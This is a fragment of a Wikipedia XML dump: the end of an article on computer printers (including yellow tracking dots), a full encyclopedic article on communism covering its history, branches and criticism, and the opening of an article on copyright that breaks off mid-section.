Some high-quality color printers and copiers [[steganography|steganographically]] embed their identification code into the printed pages, as fine and almost invisible patterns of yellow dots. The sources identify [[Xerox]] and [[Canon Inc.|Canon]] as companies doing this [http://www.pcworld.com/news/article/0,aid,118664,00.asp] [http://www.pcworld.idg.com.au/index.php/id;1002274598]. The [[Electronic Frontier Foundation]] has investigated[http://www.eff.org/Privacy/printers/] this issue and documented how the Xerox DocuColor printer's serial number, as well as the date and time of the printout, are encoded in a repeating 8×15 dot pattern in the yellow channel. [[Electronic Frontier Foundation|EFF]] is working to reverse engineer [http://www.eff.org/Privacy/printers/list.php additional printers].

==See also==
*[[Plotter]]
*[[Spooling]]
*[[PostScript]] and [[PostScript Printer Description]]
*[[Printer Command Language]]
*[[Internet Printing Protocol]] ([[CUPS]]).
*[[Printer driver]]
*[[Multifunction printer]]
*[[graphical output device]]
*[[PictBridge]]: a standard to print camera pictures without using a computer.
*[[Winprinter]]

== External links ==
* [http://www.mobileprinting.org/home Mobile Imaging and Printing Consortium], [[MIPC]].
* [http://www.barcodeprintersonline.com Learn More About Barcode Printers]
* [http://www.printer-reviews.org/ Printer Reviews ] Reviews on hundreds of printers submitted by consumers
* [http://www.subcoded.com/printer/ Printer Review Blog ] Site for industry reviews on printers

[[Category:Computer printers| ]]

[[ar:طابعة]]
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  <page>
    <title>Communism</title>
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      <comment>Reverted edits by [[Special:Contributions/60.234.157.64|60.234.157.64]] ([[User talk:60.234.157.64|talk]]) to last version by RexNL</comment>
      <text xml:space="preserve">{{Communism}}
{{dablink|This article is about '''communism''' as a form of society and as a political movement. For issues regarding Communist organizations, see [[communist party]]. For issues regarding communist party-run states, see [[Communist state]].}}
'''Communism''' refers to a conjectured future [[social class|classless]], stateless social  organization based upon [[common ownership]] of the [[means of production]], and can be classified as a multivariant branch of the broader [[socialism|socialist]] movement. Communism also refers to a variety of political movements which claim the establishment of such a social organization as their ultimate goal. Early forms of human social organization have been described as &quot;primitive communism.&quot;  However, communism as a political goal generally is a conjectured form of future social organization which has never been implemented.  There is a considerable variety of views among self-identified communists.  However, [[Marxism]] and [[Leninism]], [[school (discipline)|schools]] of communism associated with [[Karl Marx]] and of [[Vladimir Lenin]] respectively, have the distinction of having been a major force in world politics since the early 20th century. [[Class struggle]] plays a central role in the theory of Marxism. The establishment of communism is in this theory viewed as the culmination of the class struggle between the capitalist class, the owners of most of the capital, and the working class.  Marx held that society could not be transformed from the capitalist mode of production to the communist mode of production all at once, but required a state transitional period which Marx described as the revolutionary [[dictatorship of the proletariat]].  The communist society Marx envisioned emerging from capitalism has never been implemented, and it remains theoretical. However, the term &quot;Communism&quot;, especially when the word is [[capitalization|capitalized]], is often used to refer to the political and economic regimes under [[communist party|communist parties]] which claimed to be the dictatorship of the proletariat.

In the late 19th century, Marxist theories motivated [[socialism|socialist]] parties across Europe, although their policies later developed along the lines of &quot;reforming&quot; capitalism, rather than overthrowing it. The exception was the [[Russian Social Democratic Workers' Party]]. One branch of this party, commonly known as the [[Bolshevik]]s and headed by Vladimir Lenin, succeeded in taking control of the country after the toppling of the [[Russian Provisional Government, 1917|Provisional Government]] in the [[Russian Revolution of 1917]]. In 1918, this party changed its name to the Communist Party; thus establishing the contemporary distinction between communism and socialism.

After the success of the Red [[October Revolution]] in [[Russia]], many socialist parties in other countries became communist parties, owing allegiance of varying degrees to the [[Communist Party of the Soviet Union]] (see [[Communist International]]). After [[World War II]], regimes calling themselves communist took power in Eastern Europe. In [[1949]], the Communists in [[China]], led by [[Mao Zedong]], came to power and established the [[People's Republic of China]]. Among the other countries in the [[Third World]] that adopted a Communist form of government at some point were [[Cuba]], [[North Korea]], [[Vietnam]], [[Laos]], [[Angola]], and [[Mozambique]]. By the early [[1980s]], almost one-third of the world's population lived under [[Communist state]]s.

Communism carries a strong [[social stigma]] in the [[United States]], due to a history of [[Anti-communism#Anti-communism in the United States and Cold War|anti-communism in America]].&lt;!--research communism in South America--&gt; Since the early [[1970s]], the term &quot;[[Eurocommunism]]&quot; was used to refer to the policies of communist parties in western Europe, which sought to break with the tradition of uncritical and unconditional support of the Soviet Union. Such parties were politically active and electorally significant in [[France]] and [[Italy]]. With the collapse of the Communist governments in [[eastern Europe]] from the late 1980s and the [[History of the Soviet Union (1985-1991)|breakup of the Soviet Union]] on [[December 8]], [[1991]], Communism's influence has decreased dramatically in Europe, but around a quarter of the world's population still lives under Communist states. 

==Early communism==
The notion of communism has a long history in Western thought, long predating Marx and Engels. Already in ancient Greece the idea of communism was connected to a myth about the &quot;golden age&quot; of humanity, when society lived in full harmony, before private property developed. Some have argued that [[Plato]]'s ''[[The Republic]]'' and works by other ancient political theorists advocated communism in the form of [[communal]] living, and that various early Christian sects, in particular the early Church, as recorded in [[Acts of the Apostles]], and [[Native Americans in the United States|indigenous]] tribes in the [[pre-Columbian]] Americas practiced communism in the form of communal living and common ownership as part of [[Christian communism]]. Other attempts to establish communistic societies were made by the [[Essenes]] and by the [[Judean desert sect]].

In the [[16th century]], English writer St. [[Thomas More]], in his treatise ''[[Utopia (book)|Utopia]]'', portrayed a society based on common ownership of property, whose leaders administered it through the application of reason. In the [[17th century]], communist thought arguably surfaced again in England. [[Eduard Bernstein]], in his [[1895]] ''Cromwell and Communism'' argued that several groupings in the [[English Civil War]], especially the [[Diggers]] (or &quot;[[True Levellers]]&quot;) espoused clear communistic, agrarian ideals, and that [[Oliver Cromwell]]'s attitude to these groups was at best ambivalent and often hostile. {{ref|cromwell}} 

Criticism of the idea of private property continued into the [[Age of Enlightenment|Enlightenment]] era of the [[18th century]], through such thinkers as [[Jean Jacques Rousseau]]. &quot;[[Utopian socialism|Utopian socialist]]&quot; writers such as [[Robert Owen]] are also sometimes regarded as communists.

Karl Marx saw [[Primitive communism|primitive communism]] as the original [[hunter-gatherer]] state of mankind from which it arose. When humanity was capable of producing surplus, private property developed, society became unequal, resulting in classical society, and then feudalism, to its current state of capitalism. He then proposed that the next step in social evolution would be a return to communism, but at a higher level than when mankind had originally practiced primitive communism. [[Anarcho-primitivism]] asserts that originally hunter-gatherer society used a [[gift economy]] in this form of primitive communism and advocates a return to that society. Marx also made clear that in a communist society, money is not necessary: workers simply make what is needed for themselves and others.

In its contemporary form, communism grew out of the workers' movement of 19th century Europe. At that time, as the [[Industrial Revolution]] advanced, socialist critics saw that capitalist economics had brought about an unskilled working proletariat, urban factory workers who toiled under harsh conditions, and a widening gulf between rich and poor.

==Marxism==
{{main|Marxism}}

Like other socialists, Marx and Engels sought an end to capitalism and the systems which they perceived to be responsible for the exploitation of workers. But whereas earlier socialists often favored longer-term social reform, Marx and Engels believed that popular revolution was all but inevitable, and the only path to socialism.

According to the Marxist argument for communism, the main characteristic of human life in class society is [[alienation]]; and communism is desirable because it entails the full realization of human freedom. Marx here follows [[Georg Wilhelm Friedrich Hegel]] in conceiving freedom not merely as an absence of constraints but as action having moral content. They believed that communism allowed people to do what they want but also put humans in such conditions and such relations with one another that they would not wish to have need for exploitation. Whereas for Hegel, the unfolding of this ethical life in history is mainly driven by the realm of ideas, for Marx, communism emerged from material, especially the development of the [[means of production]].

Marxism holds that a process of class conflict and revolutionary struggle will result in victory for the [[proletariat]] and the establishment of a communist society in which private ownership is abolished over time and the means of production and subsistence belong to the community. Marx himself wrote little about life under communism, giving only the most general indication as to what constituted a communist society. It is clear that it entails abundance in which there is little limit to the projects that humans may undertake. In the popular slogan that was adopted by the communist movement, communism was a world in which 'each gave according to his abilities, and received according to his needs.' ''[[The German Ideology]]'' ([[1845]]) was one of Marx's few writings to elaborate on the communist future:

:&lt;small&gt;In communist society, where nobody has one exclusive sphere of activity but each can become accomplished in any branch he wishes, society regulates the general production and thus makes it possible for me to do one thing today and another tomorrow, to hunt in the morning, fish in the afternoon, rear cattle in the evening, criticise after dinner, just as I have a mind, without ever becoming hunter, fisherman, herdsman or critic.&lt;/small&gt; {{ref|germanideology}}

Marx's lasting vision was to add this vision to a positive scientific theory of how society was moving in a law-governed way toward communism, and, with some tension, a political theory that explained why revolutionary activity was required to bring it about.

By the end of the nineteenth century the terms &quot;socialism&quot; and &quot;communism&quot; were often used interchangeably. However, Marx and Engels argued that communism would not emerge from capitalism in a fully developed state, but would pass through a &quot;first phase&quot; in which most productive property was owned in common, but with some class differences remaining. The &quot;first phase&quot; would eventually give way to a higher phase in which class differences were eliminated, and a state was no longer needed.  Lenin frequently used the term &quot;socialism&quot; to refer to Marx and Engels' supposed &quot;first phase&quot; of communism and used the term &quot;communism&quot; interchangably with Marx and Engels' &quot;higher phase&quot; of communism.

These later aspects, particularly as developed by Lenin, provided the underpinning for the mobilizing features of 20th century Communist parties. Later writers modified Marx's vision by allotting a central place to the state in the development of such societies, by arguing for a prolonged transition period of socialism prior to the attainment of full communism.

Some of Marx's contemporaries, such as the anarchist [[Mikhail Bakunin]], espoused similar ideas, but differed in their views of how to reach to a harmonic society with no classes. To this day there has been a split in the workers movement between Marxist communists and [[anarchism|anarchists]]. The anarchists are against, and wish to abolish, every state organisation. Among them, [[anarchist communism|anarchist-communist]]s such as [[Peter Kropotkin]] believed in an immediate transition to one society with no classes under gift economics, while [[anarcho-syndicalist]]s believe that labor unions, as opposed to Communist parties, are the organizations that can help change the society.

==The growth of modern Communism==
===Soviet Marxism===
{{main|Marxism-Leninism}}

In Russia, the 1917 October Revolution was the first time any party with an avowedly Marxist orientation, in this case the [[Bolshevik Party]], obtained state power. The assumption of state power by the Bolsheviks generated a great deal of practical and theoretical debate within the Marxist movement. Marx believed that socialism and communism would be built upon foundations laid by the most advanced capitalist development. Russia, however, was one of the poorest countries in Europe with an enormous, largely illiterate [[peasantry]] and a minority of industrial workers.  Nevertheless, some socialists believed that a Russian revolution could be the precursor of workers' revolutions in the west.

The socialist [[Menshevik]]s opposed Lenin's communist Bolsheviks' plan for socialist revolution before capitalism was more fully developed.  The Bolsheviks successful rise to power was based upon the slogans &quot;peace, bread, and land&quot; and &quot;All power to the Soviets&quot;, slogans which tapped the massive public desire for an end to Russian involvement in the [[World War I|First World War]], the peasants' demand for [[land reform]], and popular support for the [[Soviet (council)|Soviets]].

The usage of the terms &quot;communism&quot; and &quot;socialism&quot; shifted after 1917, when the Bolsheviks changed their name to the Communist Party and installed a [[single party state|single-party regime]] devoted to the implementation of socialist policies under [[Leninism]]. The revolutionary Bolsheviks broke completely with the non-revolutionary [[social democracy|social democratic]] movement, withdrew from the [[Second International]], and formed the [[Third International]], or [[Comintern]], in [[1919]]. Henceforth, the term &quot;Communism&quot; was applied to the objective of the parties founded under the umbrella of the Comintern. Their program called for the uniting of workers of the world for revolution, which would be followed by the establishment of a [[dictatorship of the proletariat]] as well as the development of a socialist economy. Ultimately, their program held, there would develop a harmonious classless society, with the withering away of the state. In the early 1920s, the Soviet Communists formed the Union of Soviet Socialist Republics, or Soviet Union, from the former [[Russian Empire]].

Following Lenin's [[democratic centralism]], the Communist parties were organized on a hierarchical basis, with active cells of members as the broad base; they were made up only of elite [[cadre]]s approved by higher members of the party as being reliable and completely subject to [[party discipline]].

In [[1918]]-[[1920]], in the middle of the [[Russian Civil War]], the new regime nationalized all productive property. When mutiny and peasant unrest resulted, Lenin declared the [[New Economic Policy]] (NEP). However, [[Joseph Stalin]]'s personal fight for leadership spelled the end of the NEP, and he used his control over personnel to abandon the program.

The Soviet Union and other countries ruled by Communist Parties are often described as '[[Communist state]]s' with 'state socialist' economic bases. This usage indicates that they proclaim that they have realized part of the socialist program by abolishing private control of the means of production and establishing state control over the economy; however, they do not declare themselves truly communist, as they have not established communal ownership.

====Stalinism====
{{main|Stalinism}}

The Stalinist version of socialism, with some important modifications, shaped the Soviet Union and influenced Communist Parties worldwide. It was heralded as a possibility of building communism via a massive program of [[industrialization]] and [[collectivisation in the USSR|collectivization]]. The rapid development of industry, and above all the victory of the Soviet Union in the Second World War, maintained that vision throughout the world, even around a decade following Stalin's death, when the party adopted a program in which it promised the establishment of communism within thirty years.

However, under Stalin's leadership, evidence emerged that dented faith in the possibility of achieving communism within the framework of the Soviet model. Stalin had created in the Soviet Union a repressive state that dominated every aspect of life. After Stalin's death, the Soviet Union's new leader, [[Nikita Khrushchev]] admitted the enormity of the repression that took place under Stalin. Later, growth declined, and [[rent-seeking]] and [[political corruption|corruption]] by state officials increased, which dented the legitimacy of the Soviet system.

Despite the activity of the [[Comintern]], the Soviet Communist Party adopted the [[Stalinism|Stalinist]] theory of &quot;[[socialism in one country]]&quot; and claimed that, due to the &quot;[[aggravation of class struggle under socialism]],&quot; it was possible, even necessary, to build socialism in one country alone. This departure from Marxist internationalism was challenged by [[Leon Trotsky]], whose theory of &quot;[[permanent revolution]]&quot; stressed the necessity of world revolution.

====Trotskyism====
{{main|Trotskyism}}

Trotsky and his supporters organized into the &quot;[[Left Opposition]],&quot; and their platform became known as [[Trotskyism]]. But Stalin eventually succeeded in gaining full control of the Soviet regime, and their attempts to remove Stalin from power resulted in Trotsky's exile from the Soviet Union in [[1929]]. After Trotsky's exile, world communism fractured in two distinct branches: [[Stalinism]] and [[Trotskyism]]. Trotsky later founded the [[Fourth International]], a Trotskyist rival to the Comintern, in [[1938]].

Though some follow Trotskyism today, Trotsky's theories were never reaccepted in worldwide [[mainstream]] communist circles, either within or outside of the [[Eastern bloc|Soviet bloc]], even after Stalin's death. Trotsky's interpretation of communism, unlike its direct competitors [[Stalinism]] and [[Maoism]], has also never been successful in leading a mass political revolution or [[social movements|social movement]] that would overthrow a capitalist state apparatus. However, Trotskyist ideas have occasionally found an echo among political movements in countries experiencing social upheavals, such as the case of  [[Alan Woods]]' Trotskyist [[Committee for a Marxist International]], which has had contact with President [[Hugo Chávez]] of [[Venezuela]]. Many Trotskyist parties are active in politically stable, developed countries such as [[Great Britain]], [[France]], [[Spain]] and [[Germany]]. 

It is noteworthy, however, that Trotskyist groups that collaborate with pro-capitalist parties and governments have not escaped criticism as &quot;[[opportunism|opportunists]]&quot; from other Trotskyists, which are loathe to do the same.

==Cold War years==
As the Soviet Union won important allies by victory in the [[World War II|Second World War]] in Eastern Europe, communism as a movement spread to a number of new countries, and gave rise to a few different branches of its own, such as [[Maoism]]. 

Communism had been vastly strengthened by the winning of many new nations into the sphere of Soviet influence and strength in Eastern Europe. Governments modeled on Soviet Communism took power with Soviet assistance in [[Bulgaria]], [[Czechoslovakia]], [[East Germany]], [[Poland]], [[Hungary]] and [[Romania]]. A Communist government was also created under [[Joseph Tito|Marshal Tito]] in [[Yugoslavia]], but Tito's independent policies led to the expulsion of Yugoslavia from the [[Cominform]], which had replaced the [[Comintern]], and [[Titoism]], a new branch in the world communist movement, was labeled &quot;[[deviationism|deviationist]].&quot; [[Albania]] also became an independent Communist nation after World War II. 

By [[1950]] the [[Communist Party of China|Chinese Communists]] held all of China except [[Taiwan]], thus controlling the most populous nation in the world. Other areas where rising Communist strength provoked dissension and in some cases actual fighting include [[Laos]], many nations of the Middle East and Africa, and, especially, [[Vietnam]] (''see'' [[Vietnam War]]). With varying degrees of success, Communists attempted to unite with nationalist and socialist forces against what they saw as Western imperialism in these poor countries.

===Maoism=== 
{{main|Maoism}} 

After the death of Stalin in [[1953]], the Soviet Union's new leader, Nikita Khrushchev, denounced Stalin's crimes and his [[cult of personality]]. He called for a return to the principles of Lenin, thus presaging some change in Communist methods. However, Khrushchev's reforms heightened ideological differences between China and the Soviet Union, which became increasingly apparent in the [[1960s]] and [[1970s]]. As the [[Sino-Soviet Split]] in the international Communist movement turned toward open hostility, Maoist China portrayed itself as a leader of the underdeveloped world against the two superpowers, the United States and the Soviet Union, with [[Maoism]] gaining recognition worldwide as a new branch of Marxism.

==Communism after the collapse of the Soviet Union==
In 1985, [[Mikhail Gorbachev]] became leader of the Soviet Union and relaxed central control, in accordance with reform policies of [[glasnost]] (openness) and [[perestroika]] (restructuring). The Soviet Union did not intervene as [[Poland]], [[East Germany]], [[Czechoslovakia]], [[Bulgaria]], [[Romania]], and [[Hungary]] all abandoned Communist rule by [[1990]]. In [[1991]], the Soviet Union itself dissolved. 

By the beginning of the [[21st century]], states under control by Communist parties under a single-party system include the [[People's Republic of China]], [[Cuba]], [[Laos]], [[North Korea]], and [[Vietnam]]. President [[Vladimir Voronin]] of [[Moldova]] is a member of the [[Communist Party of Moldova]], but the country is not run under single-party rule. Communist parties, or their descendent parties, remain politically important in many European countries and throughout the Third World, particularly in [[India]].

The People's Republic of China has reassessed many aspects of the Maoist legacy; and the People's Republic of China, Laos, Vietnam, and, to a lesser degree, Cuba have reduced state control of the economy in order to stimulate growth. The People's Republic of China runs [[Special Economic Zone]]s dedicated to market-oriented enterprise, free from central government control. Several other communist states have also attempted to implement market-based reforms, including Vietnam. Officially, the leadership of the People's Republic of China refers to its policies as &quot;[[market socialism]].&quot;

Theories within Marxism as to why communism in Eastern Europe was not achieved after socialist revolutions pointed to such elements as the pressure of external capitalist states, the relative backwardness of the societies in which the revolutions occurred, and the emergence of a bureaucratic stratum or class that arrested or diverted the transition press in its own interests. Marxist critics of the Soviet Union referred to the Soviet system, along with other Communist states, as &quot;[[state capitalism]],&quot; arguing that Soviet system fell far short of Marx's communist ideal. They argued that the state and party bureaucratic elite acted as a surrogate capitalist class in the heavily centralized and repressive political apparatus.

Non-Marxists, in contrast, have often applied the term to any society ruled by a Communist Party and to any party aspiring to create a society similar to such existing nation-states. In the social sciences, societies ruled by Communist Parties are distinct for their single party control and their socialist economic bases. While [[anticommunism|anticommunists]] applied the concept of &quot;[[totalitarianism]]&quot; to these societies, many social scientists identified possibilities for independent political activity within them, and stressed their continued evolution up to the point of the dissolution of the Soviet Union and its allies in Eastern Europe during the late 1980s and early 1990s.{{Ref|ind_ident1}}{{ref|ind_ident2}}

Today, Marxist revolutionaries are active in [[India]], [[Nepal]], and [[Colombia]].

==Criticism of communism==
:''Main article: [[Criticisms of communism]].'' 

A diverse array of writers and political activists have published criticism of communism, such as Soviet bloc dissidents [[Aleksandr Solzhenitsyn]] and [[Vaclav Havel]]; social theorists [[Hannah Arendt]], [[Raymond Aron]], [[Ralf Dahrendorf]], [[Seymour Martin Lipset]], and [[Karl Wittfogel]]; economists [[Friedrich Hayek]], [[Ludwig von Mises]], and [[Milton Friedman]]; historians and other social scientists [[Robert Conquest]], [[Daniel Pipes]], and [[R. J. Rummel]], anti-communist leftists [[Ignazio Silone]], [[Saul Alinsky]], [[Richard Wright (author)|Richard Wright]], [[Arthur Koestler]] and [[Bernard-Henri Levy]]; and philosophers [[Leszek Kołakowski]] and [[Karl Popper]] are among such critics. Some writers such as Conquest go beyond attributing large-scale human rights abuses to Communist regimes, presenting events occurring in these countries, particularly under Stalin, who rejected the form of fair treatment, as an argument against Marxism itself. Some of the critics were former Marxists, such as Wittfogel, who applied Marx's concept of &quot;Oriental Despotism&quot; to communist societies such as the Soviet Union, and Silone, Wright, Koestler (among other writers) who contributed essays to the book [[The God that Failed]] (the title refers not to the Christian God but Marxism itself). 

There have also been more direct [[criticisms of Marxism]], such as criticisms of the [[labor theory of value]] or Marx's predictions. Nevertheless, Communist parties outside of the [[Warsaw Pact]], such as the Communist parties in Western Europe, Asia, Latin America, and Africa, differed greatly. Thus a criticism that is applicable to one such party is not necessarily applicable to another.

==Comparing &quot;Communism&quot; to &quot;communism&quot;==
According to the [[1996]] third edition of ''[[Fowler's Modern English Usage]]'', ''communism'' and derived words are written with the [[lowercase]] &quot;c&quot; except when they refer to a political party of that name, a member of that party, or a government led by such a party, in which case the word &quot;Communist&quot; is written with the [[uppercase]] &quot;C&quot;. Thus, one may be a communist (an advocate of communism) without being a Communist (a member of a Communist Party or another similar organization).

==See also==
* [[Communist state]]
* [[Anti-communism]]
* [[Criticisms of communism]]
* [[Post-Communism]]

===Schools of communism===
&lt;!-- [[Anarchist communism]] commented out pending dispute --&gt;
* [[Council communism]]  
* [[De Leonism]] 
* [[Eurocommunism]]  
* [[Hoxhaism]]
* [[Juche]]
* [[Left communism]]
* [[Luxembourgism]] 
* [[Marxism]]
* [[Leninism]]
* [[Marxism-Leninism]] 
* [[Maoism]] 
* [[Religious communism]] 
* [[Stalinism]]  
* [[Titoism]]
* [[Trotskyism]]

===Organizations and people=== 
* [[Communist Party]]  
* [[List of Communist parties]]  
* [[List of Communists]]

==References==
#{{note|cromwell}} Eduard Bernstein, (1895). ''Kommunistische und demokratisch-sozialistische Strömungen während der englischen Revolution'', J.H.W. Dietz, Stuttgart. ISBN 081246303. Sources available at [http://www.marxists.org/reference/archive/bernstein/works/1895/cromwell/]
#{{note|germanideology}} Karl Marx, (1845). ''[[The German Ideology]]'', Marx-Engels Institute, Moscow. ISBN 1573922587. Sources available at [http://www.marxists.org/archive/marx/works/1845/german-ideology/ch01a.htm]
#{{note|ind_ident1}} H. Gordon Skilling, (April 1966). &quot;Interest Groups and Communist Politics.&quot; ''World Politics'', Volume 18, Number 3, 435-451. &lt;!-- ISBN number needed --&gt;
#{{note|ind_ident2}} Arch Getty, (1985). ''Origins of the Great Purges: The Soviet Communist Party Reconsidered: 1933-1938'', Cambridge University Press. ISBN 0521335701

===Further reading===  
* Fernando Claudin, ''The Communist Movement: From Comintern to Cominform'' (1975) 
* [[János Kornai|Kornai, János]], ''The Socialist System. The Political Economy of Communism.'' Princeton: Princeton University Press, and Oxford: Oxford University Press, 1992
* [[Richard Pipes|Pipes, Richard]], &quot;Communism&quot;, London, (2001), ISBN 0-297-64688-5
*[[Stéphane Courtois]], Werth, Panné, Paczkowski, Bartosek, Margolin, Das Schwarzbuch des Kommunismus, Unterdrückung, Verbrechen und Terror. Piper-Verlag Mai 1998, ISBN 3492040535 . [[The Black Book of Communism]]

==External links==
===Online resources for original Marxist literature=== 
{{Wikiquote|Communism}}  
{{wiktionary}} 
* [http://www.marxists.org Marxists Internet Archive]  
* [http://www.libcom.org/library Libertarian Communist Library]
* [http://www.marxist.net Marxist.net]  
* [http://www.marxists.org/archive/marx/works/1845/theses/theses.htm?title= Theses on Feuerbach]  
* [http://www.marxists.org/archive/marx/works/1847/11/prin-com.htm?title= Principles of Communism]  
* [http://www.marxists.org/archive/marx/works/1848/communist-manifesto/index.htm?title= The Communist Manifesto]  
* [http://www.marxists.org/archive/marx/works/1871/civil-war-france/index.htm?title= The Civil War in France]  
* [http://www.marxists.org/archive/marx/works/1880/soc-utop/index.htm?title= Socialism: Utopian and Scientific]  
* [http://www.marxists.org/archive/deleon/works/1896/960126.htm Reform or Revolution?]  
* [http://www.marxists.org/archive/lenin/works/1901/witbd/index.htm?title= What is to be Done?]  
* [http://www.marxists.org/archive/lenin/works/1904/onestep/index.htm?title= One Step Forward, Two Steps Back]  
* [http://www.marxists.org/archive/lenin/works/1905/two-tact/index.htm?title= Two Tactics of Social-Democracy in the Democratic Revolution]  
* [http://www.marxists.org/archive/luxemburg/1913/accumulation-capital/index.htm The Accumulation of Capital ]  
* [http://www.marxists.org/archive/luxemburg/1909/national-question/index.htm The National Question]  
* [http://www.marxists.org/archive/lenin/works/1916/imp-hsc/index.htm?title= Imperialism, The Highest Stage of Capitalism]  
* [http://www.marxists.org/archive/lenin/works/1917/staterev/index.htm?title= The State and Revolution]  
* [http://www.marxists.org/archive/luxemburg/1918/russian-revolution/index.htm  The Russian Revolution]  
* [http://www.lonympics.co.uk/Worstregimesofthe20thcentury.htm] A list of the worst regimes of the 20th Century.

[[Category:Communism]]
[[Category:Economic ideologies]]
[[Category:Political theories]]
[[Category:Society]]

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[[ar:شيوعية]]
[[bg:Комунизъм]]
[[zh-min-nan:Kiōng-sán-chú-gī]]
[[be:Камунізм]]
[[ca:Comunisme]]
[[cs:Komunismus]]
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[[es:Comunismo]]
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[[fa:کمونیسم]]
[[fr:Communisme]]
[[ga:Cumannachas]]
[[gl:Comunismo (política)]]
[[ko:공산주의]]
[[hr:Komunizam]]
[[id:Komunisme]]
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[[zh:共产主义]]</text>
    </revision>
  </page>
  <page>
    <title>Copyright</title>
    <id>5278</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42075557</id>
      <timestamp>2006-03-03T17:32:12Z</timestamp>
      <contributor>
        <username>Jersyko</username>
        <id>163681</id>
      </contributor>
      <minor />
      <comment>rvv</comment>
      <text xml:space="preserve">{{Intellectual property}}
[[Image:Copyright.svg|thumb|150pz|right|Copyright symbol.]]
:''For copyright issues in relation to Wikipedia itself, see [[Wikipedia:Copyrights]].''

'''Copyright''' (international symbol: '''©''') is a set of [[exclusive rights]] granted by [[government]]s to regulate the use of a particular expression of an idea or information.  At its most general, it is literally &quot;the right to copy&quot; an original creation.  In most cases, these rights are of limited duration.

Copyright may subsist in a wide range of creative or artistic forms or &quot;works&quot;. These include [[poem|poems]], [[drama|plays]], and other [[book|literary works]], [[film|movies]], [[choreography|choreographic works (dances, ballets, etc.)]], [[music|musical compositions]], [[sound recording|audio recordings]], [[painting]]s, [[drawing]]s, [[sculpture]]s, [[photography|photographs]], [[Computer software|software]], [[radio]] and [[television]] [[broadcast]]s of live and other performances, and in some [[jurisdictions]] [[industrial design]]s. Copyright is a type of [[intellectual property]]; [[designs]] or [[industrial designs]] may be a separate or overlapping form of intellectual property in some jurisdictions.

Copyright law covers only the particular form or manner in which ideas or information have been manifested, the &quot;form of material expression&quot;. It is not designed or intended to cover the actual idea, concepts, facts, styles, or techniques which may be embodied in or represented by the copyright work.  Copyright law provides scope for satirical or interpretive works which themselves may be copyrighted. See [[idea-expression divide]].

For example, the copyright which subsists in relation to a [[Mickey Mouse]] cartoon prohibits unauthorized parties from distributing copies of the cartoon or creating [[derivative work|derivative works]] which copy or mimic [[The Walt Disney Company|Disney]]'s particular anthropomorphic mouse, but does not prohibit the creation of artistic works about anthropomorphic mice in general, so long as they are sufficiently different to not be imitative of the original.  Other forms of intellectual property may impose legal protection where copyright does not - such as [[trademark]]s and [[patent]]s.

==History of copyright==
:''Main article: [[History of copyright]]''

Authors, [[patron]]s, and owners of works throughout the ages have tried to direct and control how copies of such works could be used once disseminated to others. [[Mozart]]'s patron, [[Baroness von Waldstätten]], allowed his compositions to be freely performed, while [[Handel]]'s patron (George I, the first of the Hanoverian kings) jealously guarded &quot;Water Music.&quot;

Two major developments in the fourteenth and fifteenth centuries seem to have provoked the development of modern copyright. First, the expansion of mercantilist trade in major European cities and the appearance of the secular [[university]] helped produce an educated [[bourgeois]] class interested in the information of the day. This helped spur the emergence of a “[[public sphere]],” which was increasingly served by entrepreneurial “stationers” who would produce copies of books on demand. Second, [[Johann Gutenberg|Gutenberg]]'s development of [[printing press|movable type]] and the development and spread of the [[printing press]] made mass reproduction of printed works quick and cheap. Before these two developments, the process of copying a work could be nearly as [[labor intensive]] and expensive as creating the original, and was largely relegated to monastic [[scribes]]. It appears [[publishers]], rather than [[authors]], were the first to seek restrictions on copying printed works. Given that publishers now obtain the copyright from the authors as a condition of mass reproduction of a work, one of the criticisms of the current system is that it benefits publishers more than it does authors. This is a chief argument of the proponents of [[peer-to-peer]] file sharing systems.

An interesting attempt at copyright in the early modern period was the notice attached to the ''ha- Shirim asher li-Shelomo'' by the composer [[Salomone Rossi]], a setting of the [[Psalms]] which was in fact the first music to be printed with a Hebrew type-face text(1623). It set out a rabbinical curse on anyone who copied the contents.

While governments had previously granted [[monopoly]] rights to publishers to sell printed works, the modern concept of copyright originated in 1710 with the British [[Statute of Anne]]. This statute first accorded exclusive rights to authors rather than publishers, and it included protections for consumers of printed work ensuring that publishers could not control their use after sale. It also limited the duration of such exclusive rights to 28 years, after which all works would pass into the [[public domain]].

The [[Berne Convention for the Protection of Literary and Artistic Works]] of 1886 first established the recognition of copyrights between sovereign nations. Under the Berne convention, copyrights for [[creative works]] do not have to be asserted or declared, as they are automatically assigned: an author does not have to &quot;register&quot; or &quot;apply for&quot; a copyright. As soon as a work is &quot;fixed&quot;, that is, written or recorded on some physical medium, its author is automatically entitled to all exclusive rights to the work and any derivative works unless and until the author explicitly disclaims them, or until the copyright expires.

==United Kingdom copyright methodology==
:''Main article: [[Copyright law of the United Kingdom]]''

British law states that an individual's work is placed under copyright law as soon as it leaves that person's mind and is placed in some physical form, be it a painting, a musical work written in manuscript or an architectural schematic. Once in physical form, as long as it is an original work (in the sense of not having been copied from an existing work, rather than in the sense of being novel or unique), copyright in that work is automatically vested in (i.e. owned by) the person who put the concept into material form.  There may be exceptions to this rule, depending on the nature of the work, whether it was created in the course of employment and the purposes for which the work was created.

Evidentiary issues may arise if the person who authored a work has only their word to prove that the work is original and their own work.  The author of an unpublished manuscript or little-known publication, which is remarkably similar to a popular novel, will have an uphill battle convincing a court that the popular novel infringes the copyright in their obscure work.  Taking some precautionary steps may help to establish independent creation and authorship.

For example, when a web designer designs a webpage (based upon his own work) under a [[contract for services]], the webmaster owns the copyright in at least the underlying code of that website.  A common and simple practice to obtain evidence in favour of authorship is to place the copyright material in an envelope or package together with a document signed by several people stating that they have examined the work prior to it being sealed and that in their opinion it is original.  Once this is done the package is mailed to the owner by recorded delivery, which helps to establish when the work was created, who the originator of the work is and that there are signatory validators prepared to state that it is original.  Once this process is complete the package and contents may be able to be used in a court of law as evidence if necessary.

==United States copyright law==
:''Main article: [[United States copyright law]]''

[[Article One of the United States Constitution|Article I]], Section 8 of the [[United States Constitution|Constitution for the United States]] gives the [[United States Congress]] the power “to promote the Progress of Science and useful Arts, by securing for limited Times to Authors and Inventors the exclusive Right to their respective Writings and Discoveries.”  Congress first exercised this power with the enactment of the [[Copyright Act of 1790]], and has changed and updated statutory copyright law multiple times since.  The [[United States Copyright Act of 1976|Copyright Act of 1976]], though it has been modified since its enactment, forms the basis of copyright law in the United States today.

*{{usc|17|105}}, witholds copyright protection from all publications produced by the United States Government, and its agents or employees while in their employment. The specific language is as follows:

